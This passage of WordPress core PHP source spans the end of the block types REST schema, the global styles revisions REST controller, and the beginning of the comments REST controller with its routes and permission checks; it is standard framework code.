					'type'        => array( 'array' ),
					'default'     => array(),
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'view_script_module_ids' => array(
					'description' => __( 'Public facing script module IDs.' ),
					'type'        => array( 'array' ),
					'default'     => array(),
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'editor_style_handles'   => array(
					'description' => __( 'Editor style handles.' ),
					'type'        => array( 'array' ),
					'default'     => array(),
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'style_handles'          => array(
					'description' => __( 'Public facing and editor style handles.' ),
					'type'        => array( 'array' ),
					'default'     => array(),
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'view_style_handles'     => array(
					'description' => __( 'Public facing style handles.' ),
					'type'        => array( 'array' ),
					'default'     => array(),
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'styles'                 => array(
					'description' => __( 'Block style variations.' ),
					'type'        => 'array',
					'items'       => array(
						'type'       => 'object',
						'properties' => array(
							'name'         => array(
								'description' => __( 'Unique name identifying the style.' ),
								'type'        => 'string',
								'required'    => true,
							),
							'label'        => array(
								'description' => __( 'The human-readable label for the style.' ),
								'type'        => 'string',
							),
							'inline_style' => array(
								'description' => __( 'Inline CSS code that registers the CSS class required for the style.' ),
								'type'        => 'string',
							),
							'style_handle' => array(
								'description' => __( 'Contains the handle that defines the block style.' ),
								'type'        => 'string',
							),
						),
					),
					'default'     => array(),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'variations'             => array(
					'description' => __( 'Block variations.' ),
					'type'        => 'array',
					'items'       => array(
						'type'       => 'object',
						'properties' => array(
							'name'        => array(
								'description' => __( 'The unique and machine-readable name.' ),
								'type'        => 'string',
								'required'    => true,
							),
							'title'       => array(
								'description' => __( 'A human-readable variation title.' ),
								'type'        => 'string',
								'required'    => true,
							),
							'description' => array(
								'description' => __( 'A detailed variation description.' ),
								'type'        => 'string',
								'required'    => false,
							),
							'category'    => $category_definition,
							'icon'        => $icon_definition,
							'isDefault'   => array(
								'description' => __( 'Indicates whether the current variation is the default one.' ),
								'type'        => 'boolean',
								'required'    => false,
								'default'     => false,
							),
							'attributes'  => array(
								'description' => __( 'The initial values for attributes.' ),
								'type'        => 'object',
							),
							'innerBlocks' => $inner_blocks_definition,
							'example'     => $example_definition,
							'scope'       => array(
								'description' => __( 'The list of scopes where the variation is applicable. When not provided, it assumes all available scopes.' ),
								'type'        => array( 'array', 'null' ),
								'default'     => null,
								'items'       => array(
									'type' => 'string',
									'enum' => array( 'block', 'inserter', 'transform' ),
								),
								'readonly'    => true,
							),
							'keywords'    => $keywords_definition,
						),
					),
					'readonly'    => true,
					'context'     => array( 'embed', 'view', 'edit' ),
					'default'     => null,
				),
				'textdomain'             => array(
					'description' => __( 'Public text domain.' ),
					'type'        => array( 'string', 'null' ),
					'default'     => null,
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'parent'                 => array(
					'description' => __( 'Parent blocks.' ),
					'type'        => array( 'array', 'null' ),
					'items'       => array(
						'type'    => 'string',
						'pattern' => self::NAME_PATTERN,
					),
					'default'     => null,
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'ancestor'               => array(
					'description' => __( 'Ancestor blocks.' ),
					'type'        => array( 'array', 'null' ),
					'items'       => array(
						'type'    => 'string',
						'pattern' => self::NAME_PATTERN,
					),
					'default'     => null,
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'allowed_blocks'         => array(
					'description' => __( 'Allowed child block types.' ),
					'type'        => array( 'array', 'null' ),
					'items'       => array(
						'type'    => 'string',
						'pattern' => self::NAME_PATTERN,
					),
					'default'     => null,
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'keywords'               => $keywords_definition,
				'example'                => $example_definition,
				'block_hooks'            => array(
					'description'       => __( 'This block is automatically inserted near any occurrence of the block types used as keys of this map, into a relative position given by the corresponding value.' ),
					'type'              => 'object',
					'patternProperties' => array(
						self::NAME_PATTERN => array(
							'type' => 'string',
							'enum' => array( 'before', 'after', 'first_child', 'last_child' ),
						),
					),
					'default'           => array(),
					'context'           => array( 'embed', 'view', 'edit' ),
					'readonly'          => true,
				),
			),
		);

		// Properties deprecated in WordPress 6.1, but left in the schema for backwards compatibility.
		$deprecated_properties      = array(
			'editor_script' => array(
				'description' => __( 'Editor script handle. DEPRECATED: Use `editor_script_handles` instead.' ),
				'type'        => array( 'string', 'null' ),
				'default'     => null,
				'context'     => array( 'embed', 'view', 'edit' ),
				'readonly'    => true,
			),
			'script'        => array(
				'description' => __( 'Public facing and editor script handle. DEPRECATED: Use `script_handles` instead.' ),
				'type'        => array( 'string', 'null' ),
				'default'     => null,
				'context'     => array( 'embed', 'view', 'edit' ),
				'readonly'    => true,
			),
			'view_script'   => array(
				'description' => __( 'Public facing script handle. DEPRECATED: Use `view_script_handles` instead.' ),
				'type'        => array( 'string', 'null' ),
				'default'     => null,
				'context'     => array( 'embed', 'view', 'edit' ),
				'readonly'    => true,
			),
			'editor_style'  => array(
				'description' => __( 'Editor style handle. DEPRECATED: Use `editor_style_handles` instead.' ),
				'type'        => array( 'string', 'null' ),
				'default'     => null,
				'context'     => array( 'embed', 'view', 'edit' ),
				'readonly'    => true,
			),
			'style'         => array(
				'description' => __( 'Public facing and editor style handle. DEPRECATED: Use `style_handles` instead.' ),
				'type'        => array( 'string', 'null' ),
				'default'     => null,
				'context'     => array( 'embed', 'view', 'edit' ),
				'readonly'    => true,
			),
		);
		$this->schema['properties'] = array_merge( $this->schema['properties'], $deprecated_properties );

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 5.5.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array(
			'context'   => $this->get_context_param( array( 'default' => 'view' ) ),
			'namespace' => array(
				'description' => __( 'Block namespace.' ),
				'type'        => 'string',
			),
		);
	}
}
<?php
/**
 * REST API: WP_REST_Global_Styles_Revisions_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 6.3.0
 */

/**
 * Core class used to access global styles revisions via the REST API.
 *
 * @since 6.3.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Global_Styles_Revisions_Controller extends WP_REST_Controller {
	/**
	 * Parent post type.
	 *
	 * @since 6.3.0
	 * @var string
	 */
	protected $parent_post_type;

	/**
	 * The base of the parent controller's route.
	 *
	 * @since 6.3.0
	 * @var string
	 */
	protected $parent_base;

	/**
	 * Constructor.
	 *
	 * @since 6.3.0
	 */
	public function __construct() {
		$this->parent_post_type = 'wp_global_styles';
		$this->rest_base        = 'revisions';
		$this->parent_base      = 'global-styles';
		$this->namespace        = 'wp/v2';
	}

	/**
	 * Registers the controller's routes.
	 *
	 * @since 6.3.0
	 * @since 6.5.0 Added route to fetch individual global styles revisions.
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->parent_base . '/(?P<parent>[\d]+)/' . $this->rest_base,
			array(
				'args'   => array(
					'parent' => array(
						'description' => __( 'The ID for the parent of the revision.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->parent_base . '/(?P<parent>[\d]+)/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'   => array(
					'parent' => array(
						'description' => __( 'The ID for the parent of the global styles revision.' ),
						'type'        => 'integer',
					),
					'id'     => array(
						'description' => __( 'Unique identifier for the global styles revision.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * Inherits from WP_REST_Controller::get_collection_params(),
	 * also reflects changes to return value WP_REST_Revisions_Controller::get_collection_params().
	 *
	 * @since 6.3.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$collection_params                       = parent::get_collection_params();
		$collection_params['context']['default'] = 'view';
		$collection_params['offset']             = array(
			'description' => __( 'Offset the result set by a specific number of items.' ),
			'type'        => 'integer',
		);
		unset( $collection_params['search'] );
		unset( $collection_params['per_page']['default'] );

		return $collection_params;
	}

	/**
	 * Returns decoded JSON from post content string,
	 * or a 404 if not found.
	 *
	 * @since 6.3.0
	 *
	 * @param string $raw_json Encoded JSON from global styles custom post content.
	 * @return Array|WP_Error
	 */
	protected function get_decoded_global_styles_json( $raw_json ) {
		$decoded_json = json_decode( $raw_json, true );

		if ( is_array( $decoded_json ) && isset( $decoded_json['isGlobalStylesUserThemeJSON'] ) && true === $decoded_json['isGlobalStylesUserThemeJSON'] ) {
			return $decoded_json;
		}

		return new WP_Error(
			'rest_global_styles_not_found',
			__( 'Cannot find user global styles revisions.' ),
			array( 'status' => 404 )
		);
	}

	/**
	 * Returns paginated revisions of the given global styles config custom post type.
	 *
	 * The bulk of the body is taken from WP_REST_Revisions_Controller->get_items,
	 * but global styles does not require as many parameters.
	 *
	 * @since 6.3.0
	 *
	 * @param WP_REST_Request $request The request instance.
	 * @return WP_REST_Response|WP_Error
	 */
	public function get_items( $request ) {
		$parent = $this->get_parent( $request['parent'] );

		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		$global_styles_config = $this->get_decoded_global_styles_json( $parent->post_content );

		if ( is_wp_error( $global_styles_config ) ) {
			return $global_styles_config;
		}

		if ( wp_revisions_enabled( $parent ) ) {
			$registered = $this->get_collection_params();
			$query_args = array(
				'post_parent'    => $parent->ID,
				'post_type'      => 'revision',
				'post_status'    => 'inherit',
				'posts_per_page' => -1,
				'orderby'        => 'date ID',
				'order'          => 'DESC',
			);

			$parameter_mappings = array(
				'offset'   => 'offset',
				'page'     => 'paged',
				'per_page' => 'posts_per_page',
			);

			foreach ( $parameter_mappings as $api_param => $wp_param ) {
				if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
					$query_args[ $wp_param ] = $request[ $api_param ];
				}
			}

			$revisions_query = new WP_Query();
			$revisions       = $revisions_query->query( $query_args );
			$offset          = isset( $query_args['offset'] ) ? (int) $query_args['offset'] : 0;
			$page            = (int) $query_args['paged'];
			$total_revisions = $revisions_query->found_posts;

			if ( $total_revisions < 1 ) {
				// Out-of-bounds, run the query again without LIMIT for total count.
				unset( $query_args['paged'], $query_args['offset'] );
				$count_query = new WP_Query();
				$count_query->query( $query_args );

				$total_revisions = $count_query->found_posts;
			}

			if ( $revisions_query->query_vars['posts_per_page'] > 0 ) {
				$max_pages = (int) ceil( $total_revisions / (int) $revisions_query->query_vars['posts_per_page'] );
			} else {
				$max_pages = $total_revisions > 0 ? 1 : 0;
			}
			if ( $total_revisions > 0 ) {
				if ( $offset >= $total_revisions ) {
					return new WP_Error(
						'rest_revision_invalid_offset_number',
						__( 'The offset number requested is larger than or equal to the number of available revisions.' ),
						array( 'status' => 400 )
					);
				} elseif ( ! $offset && $page > $max_pages ) {
					return new WP_Error(
						'rest_revision_invalid_page_number',
						__( 'The page number requested is larger than the number of pages available.' ),
						array( 'status' => 400 )
					);
				}
			}
		} else {
			$revisions       = array();
			$total_revisions = 0;
			$max_pages       = 0;
			$page            = (int) $request['page'];
		}

		$response = array();

		foreach ( $revisions as $revision ) {
			$data       = $this->prepare_item_for_response( $revision, $request );
			$response[] = $this->prepare_response_for_collection( $data );
		}

		$response = rest_ensure_response( $response );

		$response->header( 'X-WP-Total', (int) $total_revisions );
		$response->header( 'X-WP-TotalPages', (int) $max_pages );

		$request_params = $request->get_query_params();
		$base_path      = rest_url( sprintf( '%s/%s/%d/%s', $this->namespace, $this->parent_base, $request['parent'], $this->rest_base ) );
		$base           = add_query_arg( urlencode_deep( $request_params ), $base_path );

		if ( $page > 1 ) {
			$prev_page = $page - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $max_pages > $page ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Retrieves one global styles revision from the collection.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$parent = $this->get_parent( $request['parent'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		$revision = $this->get_revision( $request['id'] );
		if ( is_wp_error( $revision ) ) {
			return $revision;
		}

		$response = $this->prepare_item_for_response( $revision, $request );
		return rest_ensure_response( $response );
	}

	/**
	 * Gets the global styles revision, if the ID is valid.
	 *
	 * @since 6.5.0
	 *
	 * @param int $id Supplied ID.
	 * @return WP_Post|WP_Error Revision post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_revision( $id ) {
		$error = new WP_Error(
			'rest_post_invalid_id',
			__( 'Invalid global styles revision ID.' ),
			array( 'status' => 404 )
		);

		if ( (int) $id <= 0 ) {
			return $error;
		}

		$revision = get_post( (int) $id );
		if ( empty( $revision ) || empty( $revision->ID ) || 'revision' !== $revision->post_type ) {
			return $error;
		}

		return $revision;
	}

	/**
	 * Checks the post_date_gmt or modified_gmt and prepare any post or
	 * modified date for single post output.
	 *
	 * Duplicate of WP_REST_Revisions_Controller::prepare_date_response.
	 *
	 * @since 6.3.0
	 *
	 * @param string      $date_gmt GMT publication time.
	 * @param string|null $date     Optional. Local publication time. Default null.
	 * @return string|null ISO8601/RFC3339 formatted datetime, otherwise null.
	 */
	protected function prepare_date_response( $date_gmt, $date = null ) {
		if ( '0000-00-00 00:00:00' === $date_gmt ) {
			return null;
		}

		if ( isset( $date ) ) {
			return mysql_to_rfc3339( $date );
		}

		return mysql_to_rfc3339( $date_gmt );
	}

	/**
	 * Prepares the revision for the REST response.
	 *
	 * @since 6.3.0
	 *
	 * @param WP_Post         $post    Post revision object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object.
	 */
	public function prepare_item_for_response( $post, $request ) {
		$parent               = $this->get_parent( $request['parent'] );
		$global_styles_config = $this->get_decoded_global_styles_json( $post->post_content );

		if ( is_wp_error( $global_styles_config ) ) {
			return $global_styles_config;
		}

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( ! empty( $global_styles_config['styles'] ) || ! empty( $global_styles_config['settings'] ) ) {
			$global_styles_config = ( new WP_Theme_JSON( $global_styles_config, 'custom' ) )->get_raw_data();
			if ( rest_is_field_included( 'settings', $fields ) ) {
				$data['settings'] = ! empty( $global_styles_config['settings'] ) ? $global_styles_config['settings'] : new stdClass();
			}
			if ( rest_is_field_included( 'styles', $fields ) ) {
				$data['styles'] = ! empty( $global_styles_config['styles'] ) ? $global_styles_config['styles'] : new stdClass();
			}
		}

		if ( rest_is_field_included( 'author', $fields ) ) {
			$data['author'] = (int) $post->post_author;
		}

		if ( rest_is_field_included( 'date', $fields ) ) {
			$data['date'] = $this->prepare_date_response( $post->post_date_gmt, $post->post_date );
		}

		if ( rest_is_field_included( 'date_gmt', $fields ) ) {
			$data['date_gmt'] = $this->prepare_date_response( $post->post_date_gmt );
		}

		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = (int) $post->ID;
		}

		if ( rest_is_field_included( 'modified', $fields ) ) {
			$data['modified'] = $this->prepare_date_response( $post->post_modified_gmt, $post->post_modified );
		}

		if ( rest_is_field_included( 'modified_gmt', $fields ) ) {
			$data['modified_gmt'] = $this->prepare_date_response( $post->post_modified_gmt );
		}

		if ( rest_is_field_included( 'parent', $fields ) ) {
			$data['parent'] = (int) $parent->ID;
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		return rest_ensure_response( $data );
	}

	/**
	 * Retrieves the revision's schema, conforming to JSON Schema.
	 *
	 * @since 6.3.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => "{$this->parent_post_type}-revision",
			'type'       => 'object',
			// Base properties for every revision.
			'properties' => array(

				/*
				 * Adds settings and styles from the WP_REST_Revisions_Controller item fields.
				 * Leaves out GUID as global styles shouldn't be accessible via URL.
				 */
				'author'       => array(
					'description' => __( 'The ID for the author of the revision.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'date'         => array(
					'description' => __( "The date the revision was published, in the site's timezone." ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'date_gmt'     => array(
					'description' => __( 'The date the revision was published, as GMT.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
				),
				'id'           => array(
					'description' => __( 'Unique identifier for the revision.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'modified'     => array(
					'description' => __( "The date the revision was last modified, in the site's timezone." ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
				),
				'modified_gmt' => array(
					'description' => __( 'The date the revision was last modified, as GMT.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
				),
				'parent'       => array(
					'description' => __( 'The ID for the parent of the revision.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),

				// Adds settings and styles from the WP_REST_Global_Styles_Controller parent schema.
				'styles'       => array(
					'description' => __( 'Global styles.' ),
					'type'        => array( 'object' ),
					'context'     => array( 'view', 'edit' ),
				),
				'settings'     => array(
					'description' => __( 'Global settings.' ),
					'type'        => array( 'object' ),
					'context'     => array( 'view', 'edit' ),
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Checks if a given request has access to read a single global style.
	 *
	 * @since 6.3.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$post = $this->get_parent( $request['parent'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		/*
		 * The same check as WP_REST_Global_Styles_Controller::get_item_permissions_check.
		 */
		if ( ! current_user_can( 'read_post', $post->ID ) ) {
			return new WP_Error(
				'rest_cannot_view',
				__( 'Sorry, you are not allowed to view revisions for this global style.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Gets the parent post, if the ID is valid.
	 *
	 * Duplicate of WP_REST_Revisions_Controller::get_parent.
	 *
	 * @since 6.3.0
	 *
	 * @param int $parent_post_id Supplied ID.
	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_parent( $parent_post_id ) {
		$error = new WP_Error(
			'rest_post_invalid_parent',
			__( 'Invalid post parent ID.' ),
			array( 'status' => 404 )
		);

		if ( (int) $parent_post_id <= 0 ) {
			return $error;
		}

		$parent_post = get_post( (int) $parent_post_id );

		if ( empty( $parent_post ) || empty( $parent_post->ID )
			|| $this->parent_post_type !== $parent_post->post_type
		) {
			return $error;
		}

		return $parent_post;
	}
}
<?php
/**
 * REST API: WP_REST_Comments_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core controller used to access comments via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Comments_Controller extends WP_REST_Controller {

	/**
	 * Instance of a comment meta fields object.
	 *
	 * @since 4.7.0
	 * @var WP_REST_Comment_Meta_Fields
	 */
	protected $meta;

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'comments';

		$this->meta = new WP_REST_Comment_Meta_Fields();
	}

	/**
	 * Registers the routes for comments.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'   => array(
					'id' => array(
						'description' => __( 'Unique identifier for the comment.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context'  => $this->get_context_param( array( 'default' => 'view' ) ),
						'password' => array(
							'description' => __( 'The password for the parent post of the comment (if the post is password protected).' ),
							'type'        => 'string',
						),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force'    => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Whether to bypass Trash and force deletion.' ),
						),
						'password' => array(
							'description' => __( 'The password for the parent post of the comment (if the post is password protected).' ),
							'type'        => 'string',
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to read comments.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {

		if ( ! empty( $request['post'] ) ) {
			foreach ( (array) $request['post'] as $post_id ) {
				$post = get_post( $post_id );

				if ( ! empty( $post_id ) && $post && ! $this->check_read_post_permission( $post, $request ) ) {
					return new WP_Error(
						'rest_cannot_read_post',
						__( 'Sorry, you are not allowed to read the post for this comment.' ),
						array( 'status' => rest_authorization_required_code() )
					);
				} elseif ( 0 === $post_id && ! current_user_can( 'moderate_comments' ) ) {
					return new WP_Error(
						'rest_cannot_read',
						__( 'Sorry, you are not allowed to read comments without a post.' ),
						array( 'status' => rest_authorization_required_code() )
					);
				}
			}
		}

		if ( ! empty( $request['context'] ) && 'edit' === $request['context'] && ! current_user_can( 'moderate_comments' ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit comments.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! current_user_can( 'edit_posts' ) ) {
			$protected_params = array( 'author', 'author_exclude', 'author_email', 'type', 'status' );
			$forbidden_params = array();

			foreach ( $protected_params as $param ) {
				if ( 'status' === $param ) {
					if ( 'approve' !== $request[ $param ] ) {
						$forbidden_params[] = $param;
					}
				} elseif ( 'type' === $param ) {
					if ( 'comment' !== $request[ $param ] ) {
						$forbidden_params[] = $param;
					}
				} elseif ( ! empty( $request[ $param ] ) ) {
					$forbidden_params[] = $param;
				}
			}

			if ( ! empty( $forbidden_params ) ) {
				return new WP_Error(
					'rest_forbidden_param',
					/* translators: %s: List of forbidden parameters. */
					sprintf( __( 'Query parameter not permitted: %s' ), implode( ', ', $forbidden_params ) ),
					array( 'status' => rest_authorization_required_code() )
				);
			}
		}

		return true;
	}

	/**
	 * Retrieves a list of comment items.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or error object on failure.
	 */
	public function get_items( $request ) {

		// Retrieve the list of registered collection query parameters.
		$registered = $this->get_collection_params();

		/*
		 * This array defines mappings between public API query parameters whose
		 * values are accepted as-passed, and their internal WP_Query parameter
		 * name equivalents (some are the same). Only values which are also
		 * present in $registered will be set.
		 */
		$parameter_mappings = array(
			'author'         => 'author__in',
			'author_email'   => 'author_email',
			'author_exclude' => 'author__not_in',
			'exclude'        => 'comment__not_in',
			'include'        => 'comment__in',
			'offset'         => 'offset',
			'order'          => 'order',
			'parent'         => 'parent__in',
			'parent_exclude' => 'parent__not_in',
			'per_page'       => 'number',
			'post'           => 'post__in',
			'search'         => 'search',
			'status'         => 'status',
			'type'           => 'type',
		);

		$prepared_args = array();

		/*
		 * For each known parameter which is both registered and present in the request,
		 * set the parameter's value on the query $prepared_args.
		 */
		foreach ( $parameter_mappings as $api_param => $wp_param ) {
			if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
				$prepared_args[ $wp_param ] = $request[ $api_param ];
			}
		}

		// Ensure certain parameter values default to empty strings.
		foreach ( array( 'author_email', 'search' ) as $param ) {
			if ( ! isset( $prepared_args[ $param ] ) ) {
				$prepared_args[ $param ] = '';
			}
		}

		if ( isset( $registered['orderby'] ) ) {
			$prepared_args['orderby'] = $this->normalize_query_param( $request['orderby'] );
		}

		$prepared_args['no_found_rows'] = false;

		$prepared_args['update_comment_post_cache'] = true;

		$prepared_args['date_query'] = array();

		// Set before into date query. Date query must be specified as an array of an array.
		if ( isset( $registered['before'], $request['before'] ) ) {
			$prepared_args['date_query'][0]['before'] = $request['before'];
		}

		// Set after into date query. Date query must be specified as an array of an array.
		if ( isset( $registered['after'], $request['after'] ) ) {
			$prepared_args['date_query'][0]['after'] = $request['after'];
		}

		if ( isset( $registered['page'] ) && empty( $request['offset'] ) ) {
			$prepared_args['offset'] = $prepared_args['number'] * ( absint( $request['page'] ) - 1 );
		}

		/**
		 * Filters WP_Comment_Query arguments when querying comments via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @link https://developer.wordpress.org/reference/classes/wp_comment_query/
		 *
		 * @param array           $prepared_args Array of arguments for WP_Comment_Query.
		 * @param WP_REST_Request $request       The REST API request.
		 */
		$prepared_args = apply_filters( 'rest_comment_query', $prepared_args, $request );

		$query        = new WP_Comment_Query();
		$query_result = $query->query( $prepared_args );

		$comments = array();

		foreach ( $query_result as $comment ) {
			if ( ! $this->check_read_permission( $comment, $request ) ) {
				continue;
			}

			$data       = $this->prepare_item_for_response( $comment, $request );
			$comments[] = $this->prepare_response_for_collection( $data );
		}

		$total_comments = (int) $query->found_comments;
		$max_pages      = (int) $query->max_num_pages;

		if ( $total_comments < 1 ) {
			// Out-of-bounds, run the query again without LIMIT for total count.
			unset( $prepared_args['number'], $prepared_args['offset'] );

			$query                    = new WP_Comment_Query();
			$prepared_args['count']   = true;
			$prepared_args['orderby'] = 'none';

			$total_comments = $query->query( $prepared_args );
			$max_pages      = (int) ceil( $total_comments / $request['per_page'] );
		}

		$response = rest_ensure_response( $comments );
		$response->header( 'X-WP-Total', $total_comments );
		$response->header( 'X-WP-TotalPages', $max_pages );

		$base = add_query_arg( urlencode_deep( $request->get_query_params() ), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) );

		if ( $request['page'] > 1 ) {
			$prev_page = $request['page'] - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}

		if ( $max_pages > $request['page'] ) {
			$next_page = $request['page'] + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Get the comment, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $id Supplied ID.
	 * @return WP_Comment|WP_Error Comment object if ID is valid, WP_Error otherwise.
	 */
	protected function get_comment( $id ) {
		$error = new WP_Error(
			'rest_comment_invalid_id',
			__( 'Invalid comment ID.' ),
			array( 'status' => 404 )
		);

		if ( (int) $id <= 0 ) {
			return $error;
		}

		$id      = (int) $id;
		$comment = get_comment( $id );
		if ( empty( $comment ) ) {
			return $error;
		}

		if ( ! empty( $comment->comment_post_ID ) ) {
			$post = get_post( (int) $comment->comment_post_ID );

			if ( empty( $post ) ) {
				return new WP_Error(
					'rest_post_invalid_id',
					__( 'Invalid post ID.' ),
					array( 'status' => 404 )
				);
			}
		}

		return $comment;
	}

	/**
	 * Checks if a given request has access to read the comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$comment = $this->get_comment( $request['id'] );
		if ( is_wp_error( $comment ) ) {
			return $comment;
		}

